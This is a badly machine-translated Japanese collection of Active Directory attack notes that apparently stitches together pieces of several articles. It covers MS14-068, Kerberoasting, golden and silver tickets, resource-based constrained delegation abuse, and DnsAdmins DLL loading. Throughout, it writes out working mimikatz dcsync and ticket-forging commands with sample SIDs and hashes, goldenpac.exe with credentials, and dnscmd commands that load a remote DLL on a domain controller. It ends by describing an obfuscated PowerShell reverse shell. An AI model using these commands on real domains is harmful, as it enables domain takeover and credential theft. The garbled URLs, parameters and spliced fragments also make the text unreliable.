-Pは現在のユーザーのパスワード、つまりjerryのパスワードです

-SはジェリーのSID値であり、ユーザーのSID値はwhoami/allを通じて取得できます

-dは、現在のドメインのドメイン制御です。スクリプトを正常に実行すると、現在のディレクトリにCCacheファイルが生成されます。

:を利用します

ミミカッツ

klist purge

kerberos:ptc tgt_sqladmin@0day.org.ccache

アクセスドメインコントロール:

dir \\ owa2010sp3.0day.org \ c $

ドメイン内MS14-068エスカレーション

goldenpac.exe 0day.org/sqladmin:admin !@#45@owa2010sp3.0day.org

image.png

:3https://3GSTUDENT.github.io/%e5%9F%9F%9F%9F%E6%B88%97%E9%80%8%8%8%8%8歳から:3https://3GSTUDENT.GITHUB.IO/%E5%80%8A%8A%8A%8F-8F-KERBEROAST/AFTERは、SPN修正を取得することができます。時間、そしてひび割れた後、私たちは平文パスワードを取得します。たとえば、spnvnc/dc1.test.comをドメインユーザー管理者に追加すると、パラメーターは次のとおりです。

setspn.exe -u -a -vnc/dc1.test.com管理者は、ドメイン内の任意のホストでこのSPNを取得でき、以下の図に示すようにKerberoastを使用してTGを取得できます。ハッシュカットを使用して割れます。 SPNのパラメーターは次のとおりです。

setspn.exe -d vnc/dc1.test.com管理者

pykek

https://GITHUB.COM/UKNOWSEC/ACTIVE-DIRECTORY-Pentest-notes/Blob/Master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Ticket.md

KRBTGTのパスワードのハッシュ値は、ゴールドチケットを生成するために必要です。

lsadump:dcsync /owa20103.0day.org /user3360krbtgt

Krbtgtハッシュを取得した後、MimikatzでKerberos:Golden関数を使用して、Golden.kiribiを生成します。

パラメーター説明:

/管理者:Forgedユーザー名

/ドメイン:ドメイン名

/sid:sid値、最後の値は削除されていることに注意してください。

/krbtgt:krbtgtのハッシュ値

/チケット:生成されたチケット名

SIDはRed Frameパートimage.pngです

Kerberos:Golden /admin:Administrator /Domain:0Day.org /SID:S-1-5-21-1812960810-2335050734-3517558805 /KRBTGT:36F9D9E6D98ECF8307BAF4F46EF842A2 /TICKET:GOLDEN.KIRIBI

ミミカッツのインポートと利用

Kerberos:purge

Kerberos:ptt golden.kiribi

Kerberos:List

goldenpac.exe

銀のメモを作成するための条件:

1。ドメイン名

2。ドメインのSID値

3.ドメインサービスアカウントハッシュのパスワード(krbtgtではなく、ドメインコントロールです)

4.偽造されたユーザー名は任意のユーザー名にすることができます、ここにシルバーがあります

利用プロセス

まず、サービスアカウントのパスワードハッシュを知る必要があります。ここでは、ドメインコントロールも例として取ります。 Mimikatzを使用して、現在のドメインアカウント管理者のハッシュ値を表示します。管理者アカウントのハッシュはここでは使用されていませんが、OWA2010SP3 $のハッシュは使用されています。

sekurlsa:3360logonpasswords

この時点で、OWA2010SP3 $のハッシュ値が取得され、シルバーノートはMimikatzを介して生成されます。

パラメーター説明:

/ドメイン:現在のドメイン名

/sid:sid値は、金のチケットのように、前の部分を取ります

/ターゲット:ターゲットホスト、こちらはOWA2010SP3.0day.orgです

/サービス:サービス名、ここで共有ファイルにアクセスする必要があるので、CIFSです

/RC4:ターゲットホストのハッシュ値

/ユーザー:Forgedユーザー名

/PTT:それは、生成されたチケットをメモリにインポートするPass Theticket攻撃を意味します。また、kerberos:pttを使用してエクスポートしてからインポートすることもできます。

/

kerberos3:3360golden /domain:0day.org /sid:S-1-5-21-1812960810-250734-3517558805 /Target:OWA2010SP3.0DAY /サービス3:CIFS /RC4:125445ED1D553393CCE9585E64E3FA07 /USER:SILVER /PTT

ドメイン内の権限は維持されます

ルートドメインのSIDを知っている場合、Mimikatzを使用して、サブドメインのkrbtgtのハッシュ値を介して[RID=519](ドメインフォレストで最も高い許可)を使用して、Enterpriseadminsグループの許可[RID=519](ドメインフォレストで最も高い許可)を使用してチケットを作成できます。

次に、ルートドメインSIDを含む新しいゴールドノートがMimikatzによって再生されます。 StartOffsetとEndinはそれぞれオフセットと長さを表し、RenewMaxは生成された請求書の最大時間を表します。

ステップ1。SID(PowerView Module): Convert-Nametosid Uknowsec.cn \ krbtgtを取得します

ステップ2。KERBEROS:3360GOLDEN /ADMIN:ADMINISTRATOR /DOMAIN:NEWS.UKNOWSEC.CN /SID:XXX(CHILD-DOMAINSID) /SIDS:XXX-519 /krbtgt:xxx /startoffset33600 /endin:600 /renledmax:10080 /ptt

Kerberostingのバックドア利用

特権:3360Debug

MISC:SKELETON

Goldenticket

シルバーティケッツ

クエリ3種類の委任情報

standin.exe - 解雇

image.png

またはPowerView非制約の代表団

Import-Module PowerView.ps1を使用してPowerViewスクリプトをロードした後、次のコマンドを使用してクエリします。

ドメイン内の制約のない委任で構成されたアカウントを照会します。

get -netuser -unconstrained -domain rootkit.org

ドメイン内の制約のない委任で構成されたホストを照会します。

get -netcomputer -Unconstrained -domain rootkit.org

制約委任

ドメインで制約委任を構成するアカウントを照会します。

get -domainuser -trustedtoauth-

0x00はじめに

2018年3月に、私は信頼されているAauthfordelegationプロパティが無意味であり、そのプロパティなしで「プロトコル変換」を実装できることを証明するために、意味のない議論を開始しました。制約代表団が有効になっている限り(MSDS-AllowedTodeLegatetoは空ではない)、「Kerberosのみ」または「認証プロトコル」を使用して機能するように構成されていると思います。

ベンジャミンデルピー(@gentilkiwi)の助けを借りてこの研究プロセスを開始しました。彼は、PACなしでS4U2Proxyをシルバーノートで呼び出す特定の攻撃をサポートするためにケケケオの修正を支援しました。それ以来、私はこの問題を研究してきました。皮肉なことに、私が最終的に失敗を受け入れるまで、他の興味深いエクスプロイトと新しい攻撃技術とともに解決策が続きました。

0x01 TL; Dr

この記事は非常に長く、多くの人がそれを読む時間や忍耐力がないことを非常によく知っているので、午後にこの記事の重要なポイントをリストします。

リソースベースの制約委任は、S4U2Proxyを呼び出す際に前向きなTGSを必要としません。

S4U2Selfは、信頼されたAOUTHFORDELEGATIONプロパティのステータスに関係なく、SPNを使用して任意のアカウントで実行できます。 TrustedToAuthFordeLegationが設定されている場合、S4U2Selfによって生成されたTGSは、委任または保護されたユーザーグループのメンバーに敏感な情報でない限り、前向きです。

上記のポイントは、攻撃者がActiveディレクトリ内のコンピューターオブジェクトを制御できる場合、ホストを破壊するためにオブジェクトを悪用する可能性があることを意味します。

S4U2Proxyは、リクエストで提供されている追加のTGSが転送されていない場合でも、フォワーダー容易なTGSを生成できます。

上記のポイントは、攻撃者がSPNと従来の制約代表団を備えたアカウントを使用して他のアカウントを攻撃する場合、TrustedToAuthFordeLegationプロパティが設定されているかどうかは関係ないことを意味します。

デフォルトでは、ドメインユーザーはMachineaCcountQuotaを悪用してコンピューターアカウントを作成し、そのためにSPNを設定できます。これにより、リソースベースの制約委任シミュレーションプロトコル変換が容易になりやすくなります(ユーザーのために破損したサービスに転送可能なTGを取得します)。

S4U2Selfは、委任に敏感なユーザーグループまたは保護されたユーザーグループとしてマークされたものを含む、すべてのユーザーに有効なTGを生成できます。生成されたTGSには、有効なKDC署名を備えたPACがあります。必要なのは、コンピューターアカウント資格情報またはTGTだけです。

上記のポイントは、制約のない代表団と「印刷エラー」と組み合わされて、リモートコード実行(RCE)につながる可能性があります。

KRBTGTアカウントのリソースベースの制約代表団により、TGTを任意のユーザーに対して生成することができ、永続的なテクノロジーとして悪用される可能性があります。

リソースベースの制限委任を介してHTTPからLDAPへのNTLMリレー構成は、MSSQLサーバーでのリモートコード実行(RCE)またはローカル許可エスカレーション(LPE)を容易にする可能性があります。

コンピューターアカウントはもっと楽しくなります。攻撃チェーンをトリガーするためのより多くのエクスプロイトポイントを探し始めます

0x02 Kerberos Delegation 101

Kerberos委任承認の乱用の分析に遅れをとっていない場合は、最初にWill Schroeder(@harmj0y)とLee Christensen(@tifkin_uuu)s4u2pwnageの記事を読む必要があります。その投稿では、彼らは私よりもそれについて詳しく説明しましたが、私はそれを可能な限り簡潔に概説しようとします。

まず、Kerberosの簡単な概要:

ユーザーがログインすると、パスワードから生成された暗号化キーを使用して情報(タイムスタンプ)を暗号化して、パスワードを知っていることを確認サーバーに証明します。このステップは、「事前認証」と呼ばれます。

Active Directory環境では、認証サーバーはドメインコントローラーです。

事前認証が成功した後、認証サーバーは、チケット助成金チケット(TGT)の限られた有効期間をユーザーに提供します

ユーザーがサービスの認証を希望する場合、ユーザーはTGTを認証サーバーに送信します。 TGTが有効な場合、ユーザーは「サービスチケット」とも呼ばれるチケット助成サービス(TGS)を受け取ります。

その後、ユーザーはTGSをアクセスするサービスに送信できます。これにより、ユーザーが認証され、TGSに含まれるデータに基づいて承認決定を下すことができます。

Kerberos101.png

Kerberosについてのいくつかの重要なメモメモ:

各チケットには、プレーンテキストセクションと暗号化されたセクションがあります

法案のプレーンテキスト部分には、法案が対象となるサービスのサービスプリンシパル名(SPN)が含まれています

チケットの暗号化部分に使用される暗号化キーは、ターゲットサービスのアカウントのパスワードからエクスポートされます。

TGTは、組み込みアカウント「krbtgt」用に暗号化されています

TGTのSPNはKRBTGT/ドメインです

通常、サービスには、別のサービスにアクセスするためにユーザーのなりすましが必要です。これを容易にするために、Kerberosプロトコルに次の委任機能が紹介されています。

TrustedFordElegation:ユーザーはTGSを送信してTGTとともにサービスにアクセスし、サービスはユーザーのTGTを使用して他のサービスからユーザーを要求し、ユーザーUnconstrained101.pngをシミュレートできます。

制約付き委任(S4U2Proxy):ユーザーはTGSを送信してサービスにアクセスします( "Service A")。サービスを別の事前定義されたサービス(「サービスB」)に委任することが許可されている場合は、ユーザーが提供するTGSを認証されたサービスに提供し、ユーザーのサービスBにTGを取得できます。 TGSは、S4U2Proxyリクエストでは、フォローダブルフラグを設定する必要があることに注意してください。フォローダブルフラグは、「代表団に敏感」として構成されたアカウントに設定されることはありません(ユーザーは、Trueに設定された委任属性のメンバーを持っていません)または保護されたユーザーグループです。

S4U2Proxy.pngプロトコル変換(S4U2Self/TrustedToedToeAuthFordElegation):S4U2Proxyは、認証サービスがユーザーが別のサービスにTGSを生成する前に、ユーザーにTGSを提供するサービスを必要とします。多くの場合、「添付のチケット」と呼ばれますが、ユーザーが実際にS4U2Proxyを呼び出すサービスを認証したという「証拠」と呼ぶのが好きです。ただし、ユーザーがNTLMやフォームベースの認証などの他のプロトコルを介してサービスを認証する場合があるため、TGSをサービスに送信しません。この場合、サービスはS4U2Selfを呼び出して認証サービスを要求して、任意のユーザーのTGSを生成し、S4U2Proxyを呼び出すときに「証拠」として使用できます。この機能により、ユーザーを模倣することができ、S4U2Selfを呼び出すサービスアカウントに信頼できるAOUTHFORDELEGATIONフラグが設定されている場合にのみ可能です。

S4U2Self.png

0x03その他の制限された代表団

2018年10月には、リソースベースの制約委任の乱用に関する基本的な議論を提供するために、ウィルシュローダー(@harmj0y)と協力しました。ウィルはこのトピックに関する優れた記事を書いており、継続する前にそれを読むべきです。繰り返しになりますが、その投稿では、私よりもそれについて詳しく説明しますが、ここで非常に簡潔に概説します。

制約委任を構成するには、seadabledelegationの許可を持たなければなりません。これは敏感で、通常はドメイン管理者にのみ付与されます。ユーザー/リソースをより独立させるために、リソースベースの制約委任がWindows Server 2012に導入されました。リソースベースの制約代表団を使用すると、リソースがどのアカウントを委任できるかを構成できます。

このスタイルの制約付き委任は、従来の制約付き委任に非常に似ていますが、反対の構成があります。アカウントAからアカウントBへの従来の制約代表団は、MSDS-AllowedTodeLegatetoプロパティのアカウントAで構成され、AからBへの「発信」信頼を定義し、リソースベースの制約委任はMSDS-Allowed-ActonbehalfofofofofofofofofofofofofofofofofofofofofoforyのプロパティのアカウントBで構成され、B。

DelegationTypes.png

重要な点は、各リソースがそれ自体のリソースベースの制約委任を構成できることです。私の意見では、リソースが自分で信頼できる自分で決めさせることは理にかなっています。

ウィルと私は、特定のホストを破るために、次の虐待事件を思いつきました。

攻撃者は、信頼されたaauthfordelegationフラグ( "Service A")を設定したアカウントを破壊します

また、攻撃者は、ターゲットホストのコンピューターアカウント(「サービスB」)のリソースベースの制約付き委任許可を構成することにより、アカウントを攻撃します。

攻撃者は、サービスAからサービスBにリソースベースの制約代表団を構成します

攻撃者は、S4U2SelfとS4U2ProxyをサービスAとして呼び出して、特権ユーザーのTGSを取得してターゲットホストを破壊するためにBにサービスを提供します。

次の図は、この乱用のケースを示しています:FirstAttack.png

これは良いトリックですが、TrustedToeAuthFordeLegationフラグ設定を使用してアカウントを破ることは簡単な作業ではありません。私の研究で信頼されている研究がより効果的であれば、そのような虐待の場合に役立ちます。

0x04乱用ケース:S4U2自己スキップ

上記のACLベースのコンピューターIDの元の引数を使用するために、Rubeusをわずかに変更して、攻撃者がS4U2Proxyを呼び出すときにS4U2をスキップできるようにしました。ベンジャミンデルピーは、2018年4月にケケオにも変更を加えました。ただし、執筆時点では、Kekeoはリソースベースの制約委任をサポートしていません。

より一般的な虐待のケースは次のとおりです。

攻撃者はサービスAとDACLを妥協し、サービスBにリソースベースの制約代表団を構成します

ソーシャルエンジニアリングまたは水たまり攻撃を通じて、被害者はサービスにサービスを提供することを認証します(CIFSやHTTPなど)

攻撃者はMimikatz sekurlsa:を使用します:跳绳,S4U2Self1.pngにサービスを提供するために、被害者のTGSを捨てるチケットまたはその他の方法

攻撃者は、サービスAからサービスBにリソースベースの制約代表団を構成します跳绳,S4U2Self2.png

攻撃者はRubeusを使用してS4U2Proxyを実行し、以前に得られたTGSは、被害者がサービスAからサービスBに必要とする「証拠」でした。跳绳,S4U2Self3.png

攻撃者はチケットを介してサービスにアクセスし、被害者Bになりすまします。跳绳,S4U2Self4.png

次の図は、この状況を示しています:Selfless.png

このシーンのビデオデモンストレーション:(https://youtu.be/7odfalcmldo)

S4U2Proxyは以前にTGS:を取得しています

uk5gjxjic3k8183.jpg nmcyywkbdjt8184.jpg zlb12zaegs18185.jpg 1mib5suvjcv8186.jpg

S4U2Proxy応答(サービスBに対する)で生成されたTGSは、プリンシパルがデリゲートセンシティブまたは保護されたユーザーグループのメンバーとしてマークされない限り、前向きなフラグが設定されているように見えることに注意してください。

0x05セレンディピティ(偶発性)

Rubeusの変更をテストしていたときに、リクエストの送信の準備をしているとき、サービスAで信頼できるAauthfordelegation useraccountControlフラグをリセットし、S4U2自問を実行するときにエラーメッセージプロンプトが表示されることを期待しています。ただし、S4U2とS4U2Proxyの両方が実行され、生成されたTGSはサービスBにアクセスする許可を与えてくれます。

Serendipity1.png

Serendipity2.png

S4U2Selfから入手したチケットは前向きではありませんが、S4U2Proxyはまだそれを受け取り、サービスBのユーザーにTGS応答を実行します

Serendipity3.png

この時点で、私は自分のラボ環境を完全に誤解したのだろうかと思います。

このシーンのビデオデモンストレーション:(https://youtu.be/iz6bjpr28r4)

信頼できる任意のアカウントでフォアロドラブルTGT:を入手してください

a3z3ecbfg0u8190.jpg u0incxsagvo8191.jpg cbcg4ptdsjo8192.jpg

0x05誤解された機能

1。誤解された特性1

数時間のテスト、デバッグ、MSSFUの読み取りの後、S4U2自己の理解が間違っていることに気付きました。 S4U2は、TrustedToAuthFordElegation userAccountControlフラグが設定されているかどうかに関係なく、適切に機能しているようです。ただし、設定されていない場合、生成されたTGSはMS-SFUセクション3.2.5.1.2に従って転送されません。

「Service 1ボディのTrustedToAuthenticationFordElegationパラメーターが次のように設定されている場合:

True:KDCは、S4U2Selfサービスチケット([RFC4120]セクション2.6)に、フォワーダブルチケットフラグを設定する必要があります。

false and Servicesallowedtosendforwardedticketstoは空ではありません。KDCは、S4U2Selfサービスチケット([RFC4120]セクション2.6)でフォードバブルチケットフラグを設定できません。

2。誤解された特性2

それで、S4U2Proxyはまだ好調なチケットを使用してはいけませんか?

従来の(「外出」)制約代表団を備えた非軌道TGを使用してS4U2Proxyを呼び出しようとすると、失敗します。ただし、リソースベースの制約代表団( "in")は常に有効です。バグだと思ったので、2018年10月26日にMicrosoft Response Center(MSRC)に報告しました。

返信を待っている間に、MS-SFUをもう一度読み、セクション3.2.5.2を見つけました

「添付のチケットフィールドのサービスチケットがFordoundable20に設定されていない場合、PA-PACオプション[167]([MS-Kile]セクション2.2.10)Padataタイプには、リソースベースの制約委任ビットがあります。

設定されていない場合、KDCはStatus status_no_matchでkrb-err-badoptionオプションを返す必要があります。

kerb_validation_info構造([ms-pac]セクション2.5)のuseraccountcontrolフィールドにuser_not_delegatedビットを設定すると、kdcはkrb-err-badoptionオプションをステータスstatus_not_foundで返す必要があります。

これはデザインの欠陥のようであり、Microsoftの言葉では、「機能」でもあります。リソースベースの制約付き委任S4U2Proxyは、設計に装備不可能なTGを提供します!

上記のドキュメントによれば、TGSがリソースベースの制約委任のために転送する必要がない場合でも、ユーザーが「委任に敏感」に設定されている場合、S4U2Proxyは失敗することに注意してください。

0x06一般的なDACL乱用

これら2つの誤解された「機能」は、ACLベースのコンピューターターゲットの元の引数の唯一の要件は、コンピューターオブジェクトと別のアカウントでのDACL構成がリソースベースの制約代表団であることを意味します。 SPNのアカウントはすべてを行います。他のアカウントのTGTにすぎない場合でも、大丈夫です。

SPNの必要性の理由は、S4U2SelfがSPNなしでアカウントで動作しないように見えるからです。ただし、MachineaCcountQuota(デフォルトは10に設定されている)を乱用して、新しいコンピューターアカウントの作成を許可することにより、DomainユーザーはSPNでアカウントを取得できます。新しいコンピューターアカウントを作成すると、ユーザーはSPNを設定したり、後で追加したりできます。 Kevin Robertson(@netspi)は、PowerMadと呼ばれるツールを提供します。これにより、LDAPを介して実装できます。

一般虐待事件の実用的な原則は次のとおりです。

攻撃者は、SPNを持つか、アカウントを作成するか(「サービスA」)妥協し、DACLを使用してコンピューターアカウントでリソースベースの制約委任を構成します(「サービスB」)。

攻撃者はSPNを使用してアカウントを侵害するか、A(サービスA)を作成して、コンピューターアカウントでリソースベースの制約委任を構成します(「サービスB」)

攻撃者は、サービスAからサービスBにリソースベースの制約委任を構成しますGeneric1.png

攻撃者は、Rubesを使用して、サービスAからサービスB(S4U2SelfおよびS4U2Proxy)への完全なS4U攻撃を実行します。

攻撃者はチケットを渡してユーザーをシミュレートしてサービスBにアクセスできます。Generic3.png

次の図は、この状況を示しています:Generic.png

このシーンのビデオデモンストレーション:(https://youtu.be/ayavtg7j_tq)

RBCDは、ACLベースのコンピューターの元のオブジェクトとして引き継ぎます。

sr5m2kqdcf58196.jpg pjsyfbbj43q8197.jpg pa1tttmtbte8198.jpg vndze0dfu4e8199.jpg i2hddzo3yix8200.jpg

ステップ3でS4U2Selfから取得したTGSは転送されていませんが、S4U2Proxyを呼び出す場合、「証拠」として使用されます。

0x07フォローダブル結果

S4U2Proxy応答で生成されたTGSをチェックすると、フォワーダブルフラグを設定します。 S4U2Proxyを「証拠」として再現不可能なTGSを備えたS4U2Proxyを提供し、前向きなTGSを取得しました。

Forwardable.png

これはバグですか、それとも機能ですか?

私はMS-SFUセクション3.2.5.2.2に戻り、以下を見つけました。

「KDCは、以下の場合はサービスチケットに応答する必要があります。

スナムフィールドには含まれています

0x00はじめに

独自のDNSサーバー関数を実装することに加えて、Microsoftは、Active Directoryドメインとの管理統合を促進するために、このサーバー向けの独自の管理プロトコルも実装しています。デフォルトでは、ドメインコントローラーはDNSサーバーでもあります。ほとんどの場合、すべてのドメインユーザーは、DNSサーバーの機能にアクセスして使用する必要があります。これにより、ドメインコントローラーにかなりの攻撃面が公開されます。一方では、DNSプロトコル自体と、RPCに基づいた管理プロトコルです。 DNSプロトコルの実装を掘り下げ、優れたパワーレイズテクニックを詳細に導入します。場合によってはドメインコントローラーで危険なコードを実行することができますが、これはセキュリティの脆弱性ではありませんが、Microsoftが証明したように、REDチームに広告許可エスカレーションを提供できる機能のトリックにすぎません。

公式のMicrosoftドキュメント([MS-DNSP]、

https://msdn.microsoft.com/en-us/library/cc422504.aspx)関連情報を収集し、IDAを使用してdns.exeのバイナリファイル逆分析を実行します。

0x01 DNSサーバー管理プロトコルの基本知識

DNSサーバーのリモートアクセスと管理の方法を提供するRPCインターフェイスを定義するドメイン名サービス(DNS)サーバー管理プロトコルを指定します。これは、DNSサーバーを構成、管理、監視するためのRPCベースのクライアントおよびサーバープロトコルです。管理プロトコル層はRPCの上にあり、TCPまたは名前付きパイプの上に層状にすることができます。プロトコルまたはその実装原則に興味がある場合は、c: \ windows \ system32 \ dns.exの下のドメインコントローラーで見つけることができます。そのRPCインターフェイスUUID値は50ABC2A4-574D-40B3-9D66-EE4FD5FBA076で、\ pipe \ dnsserverという名前のパイプを使用して送信されます。

DNSサーバーは、ドメインコントローラーで実行されるサービスとして機能します。アクセス管理インターフェイスは、コマンドdnsmgmt.mscを実行してAD DNSサーバー(通常はドメインコントローラー)に接続することで開きます。これにより、ユーザーはDNSゾーン、検索、キャッシュ、フォワード、ロギングなどの情報を構成できます。この構造の複数のオブジェクトには、DNSサーバーオブジェクト(コンピューターアカウントではなく)、ゾーンオブジェクト、およびレコードが含まれるようにすることができます。この場合、DNSサーバーオブジェクトに関心があり、新しくインストールされたルールとポリシーを以下の図に示します。

ozqw3ch2l1q8665.png

デフォルトでは、DNSADMINS、ドメイン管理者、エンタープライズ管理者、管理者、およびエンタープライズドメインコントローラーグループのみが、このオブジェクトに権限を記述しています。攻撃者の観点から、私たちがDNSADMINSグループに属さないが、DNSに許可を読み書きできる各グループのメンバーである場合、DNSADMINがある場合にできることを見てみましょう。

0x02 dnsadmins許可の悪用

・DNS管理はRPC(UUIDは50ABC2A4-574D-40B3-9D66-EE4FD5FBA076)を介して実行され、透過メカニズムは\ pipe \ dnsserverという名前のパイプです。

・Microsoftプロトコルの仕様によると、選択可能なDLLは「ServerLevelPlugIndll」(検証済みのDLLパスなし)を介してロードできます。

・DNSCMD.EXEはこの関数を実装しています。

dnscmd.exe /config /serverLevelPlugIndll \\ path \ to \ dll

このDNSCMD.EXEコマンドをDNSADMINSメンバーのユーザーとして実行すると、次のレジストリキー値が登録されます。

hkey_local_machine \ system \ currentControlset \ services \ dns \ parameters \ serverLevelPlugIndll

・DNSサービスを再起動すると、このリモートパスにDLLがロードされます。ただし、DLLには「dnspluginitialize、dnsplugincleanup、またはdnspluginqueryエクスポート機能」を含める必要があります。

・DLLは、ドメインコントローラーのコンピューターアカウントがアクセスできるネットワーク共有ホスト上にある必要があります。

Mimikatzにはカスタマイズ可能なDLL(GitHubのソースコード)が含まれているため、DNSサービスが開始されたときにMimikatz DLLをロードするMimikatz DLLを更新して、攻撃者が読み取りにアクセスできる場所への資格情報のダンプを監視できることに注意してください。

0x03

ファジーテストServerLevelPlugIndllメッセージの処理イベントと照合ルールの処理。基本的に、サーバーがサポートする必要があるすべての操作を説明します。 1つ目はR_DNSSRVOPERATIONです。これには、サーバーが実行する操作を決定するPSZOPERATIONパラメーターが含まれています。スワイプダウンして、次のように、可能なpszoperation値のリストを閲覧します。

n2tfgd0l0iz8666.jpg

サーバーは、選択したDLLのみをロードしていることがわかります。 ServerLevelPlugIndllで手順を検索した後、次の有用な情報を見つけることができます。

u3sp1w25mmz8667.jpg

サーバーは、この操作で指定されたDLLパスの検証さえ行わないようです。実装を開始する前に、Googleを使用してServerLevelPlugIndll関連情報を検索しますが、情報はありますが、有用なDNSCMDコマンドラインツールがポップアップします。

幸いなことに、DNSCMDは必要なすべてを達成しました。そのヘルプ情報を簡単に見ると、https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmdを参照することもできます。

コマンドオプションは次のとおりです。

dnscmd.exe

/config /serverLevelPlugIndll \\ path \ to \ dll

まず、これをDNSサーバーオブジェクトに特別な権限なしに通常のドメインユーザーとして実行してみてください(一般的な読み取りは、デフォルトでドメインユーザーグループを含む2000年以前の互換性のあるアクセスグループのすべてのメンバーを付与します)、コマンドはアクセスの拒否情報を実行できず、拒否された情報を表示しませんでした。通常のユーザーにサーバーオブジェクトへの書き込みアクセスを提供すると、コマンドを正常に実行できます。これは、DNSADMINSグループのメンバーがこのコマンドを正常に実行できることを意味します。

DCのメンバーを実行しているドメインマシンでプロセスモニターとプロセスエクスプローラーを実行している間、予想通りDNS.ExeのアドレススペースにDLLがロードされないことがわかります。ただし、次のレジストリキーが送信したパスに書き込まれていることがわかります。

hkey_local_machine \ system \ currentControlset \ services \ dns \ parameters \ serverLevelPlugIndll

これで、テストのためにDNSサーバーサービスを再起動しますが、起動できず、レジストリキー値をクリアすると開始できます。明らかに、DLLからより多くのものが必要です。

この場合、私たちが求めている機能に迅速に到達する可能性がいくつかあります

:IDAを通じて関連する文字列を検索し、関連するAPIを検索します。これは通常、最も簡単で最速の方法です。私たちの例:LoadLibraryWまたはGetProcAddressは、LoadLibraryWのDLL関数コードとそれを呼び出す関数を通じて、必要なものを提供します。ServerLevelPlugIndLLを実行するパスには検証がないことがわかります。

私たちが抱えている問題は確かにユニークです。DLLがロードに失敗した場合、またはDNSPluginitialize、DNSPlugincLeanup、またはDNSPluginQueryを含んでいない場合、サービスは開始されません。また、エクスポートがすべて0を返す(値を正常に返す)ことを確認する必要があります。そうしないと、サービスの失敗を引き起こす可能性もあります。

DLLのロードを担当する関数の擬似コードは、ほぼ次のとおりです。

hmodule hlib;

if(g_pluginpath * g_pluginpath){

hlib=loadlibraryw(g_pluginpath);

g_hndplugin=hlib;

if(!hlib){. log and return error .}

g_dlldnspluginitialize=getProcAddress(hlib、 "dnspluginitialize");

if(!g_dlldnspluginitialize){. log and return error .}

g_dlldnspluginquery=getProcAddress(hlib、 "dnspluginquery")

if(!g_dlldnspluginquery){. log and return error .}

g_dlldnsplugincleanup=getProcaddress(hlib、 "dnsplugincleanup")

if(!g_dlldnsplugincleanup){. log and return error .}

if(g_dlldnspluginitialize){

g_dlldnspluginitialize(pcallback1、pcallback2);

}

}

このPOCは、Visual Studio 2015でこのようなDLLのコードを表示する方法を示すために使用されます。

0usmplc2wwm8668.jpg

コンパイルディスプレイは、デフォルトのエクスポート名を必要な名前に変更するために使用されます。エクスポートが問題ないことを確認するには、パスを使用/エクスポートすることができます\ to \ dll

これで、新しいDLLとVoilaでDNSCMDを実行しようとします。それは機能します。DLLがDLLをドメインコントローラーのコンピューターアカウントでアクセスできるネットワークパスに配置することだけです(DNS.Exeはシステムで実行されます)(すべてのSIDにアクセスする必要があります)。

これは、あなたがDNSADMINSのメンバーである場合、DNSを管理するための権限を引き継ぐことができることを示唆していますが、それに限定されません。このヒエラルキーを正常に完了するために必要なのは、DNSサーバーオブジェクトに書き込みアクセスできるアカウントです。私の経験では、これらのオブジェクトのACLは通常、ドメイン管理者のACL(または管理者によって保護されている類似グループ)のように監視されず、目立たない平均ドメインユーザーが特権を強化する絶好の機会を提供します。

公式情報に記載されているように、これはすべての最新のWindows Serverバージョンに適用されるはずです。

slxp3ae5l508669.jpg

MicrosoftのMSRCはすでにこの問題に関する問題を追跡しており、基本的にDC管理者がServerLevelPlugIndllレジストリのキー権限を変更できるようにすることで修正されると述べ、この機能は将来のリリースでオフにすることができます。

とにかく、DNS.Exeは現在、システムとして実行されており、危険な攻撃を受けているため、一部のファッザーにとって有用なエクスプロイトになる可能性があります。

0x04 DNS ADドメイン管理者インスタンスとして特権

DNSADMINSグループのメンバーである、またはDNSサーバーオブジェクトの記述権限を作成しているユーザーが、DNSサーバー上のシステム許可をDLLにロードできます。多くのエンタープライズ設定は、DNSサーバーとしてドメインコントローラー(DCS)も使用しているため、この機能が実際にどのように使用されているかを見てみましょう。

ここでは、検証する実験を設定します。この実験では、通常のドメインユーザー(Labuser)(DNSとADは同じサーバー)を介してADドメインに最初にアクセスします。

wytmlxrsqoo8670.jpg

PowerViewを使用してDNSADMINSグループに属するユーザー情報を最初に列挙しましょう

ps c: \ get -netgroupmember -groupName 'dnsadmins'

onpkblycrxn8671.jpg

Real RedチームまたはPentestでは、BuildAdminユーザーを攻撃することです。 PowerViewのInvoke-UserHunterを使用して、BuildAdminを使用してDNSサーバーにアクセスできる認証チケットを見つけることができます。

PS C: \ invoke -userhunter -username buildAdmin(コマンド認証チケットを実行して、ブリダミンユーザーのホストでDNSにアクセスする)

BuildAdminのチケットが利用可能で、現在のユーザー(Labuser)にもローカル管理者アクセスがあるこの認証済みのチケットが見つかったと仮定します。したがって、DNSADMINSグループのメンバーであるユーザーに許可があります。

現在、2つの状況があります。1つはDCサーバーとDNSサーバーの両方であり、もう1つはDNSサーバーとして別のサーバーです。

最初のケースでは、DNSサーバーサービスがDCで実行されています。DNSCMDツールを使用してDLLをロードできます。 PowerShellモジュールDNSServerもありますが、詳細な使用記録はありません。

次のコマンドを使用して、DLLをリモートでロードできます。 UNCパス\\ ops-build \ dllは、DCが読み取る必要があります。

PS C: \ DNSCMD OPS_DC /CONFIG /SERVERLEVELPLUGINDLL \\ OPS-BUILD \ DLL \ MIMILIB.DLL(DNSにアクセスし、DNSの権利をエスカレートするために許可を書き込む通常のドメインアカウントを持つユーザー))

デバッグ(ターゲットには管理者の許可が必要)には、次のコマンドを使用して、DLLがターゲットに正常に追加されたかどうかを確認できます。

PS C: \ get-itemproperty

現在、取得したユーザーBuildAdminはDNSADMINSグループに属しているため、DNSサービスを再起動できます。これはデフォルトの構成ではありませんが、そのようなユーザーにはDNSサービスを再起動する権利があります。

C: \ sc \ ops-dc stop dns

C: \ sc \ ops-dc start dns

では、上記のコマンドを正常に実行した後、何が得られますか?ベンジャミンは、この攻撃のためにミミリブをすぐに更新しました。この攻撃で使用されている更新されたバージョンMimilibは、すべてのDNSクエリをC: \ Windows \ System32 \ kiwidns.logにログに記録します。

re0idyvvimi8672.jpg

KDNS.Cを変更して、リモートコマンド実行機能を含めることができます。 NishangのInvoke-Encodeエンコーディングを使用してPowerShellシェルを難読化するための簡単なコードを含めました。 DNSサービスの各クエリに対してペイロードを実行します。

lvrmxnmrj0p8673.jpg

リスニングサーバー上のリモートサーバー(DC)からバウンスすることができるshell:

nbrajuwqwn38674.jpg

ドメインコントローラーで取得されたシステム許可を正常に確認できます。

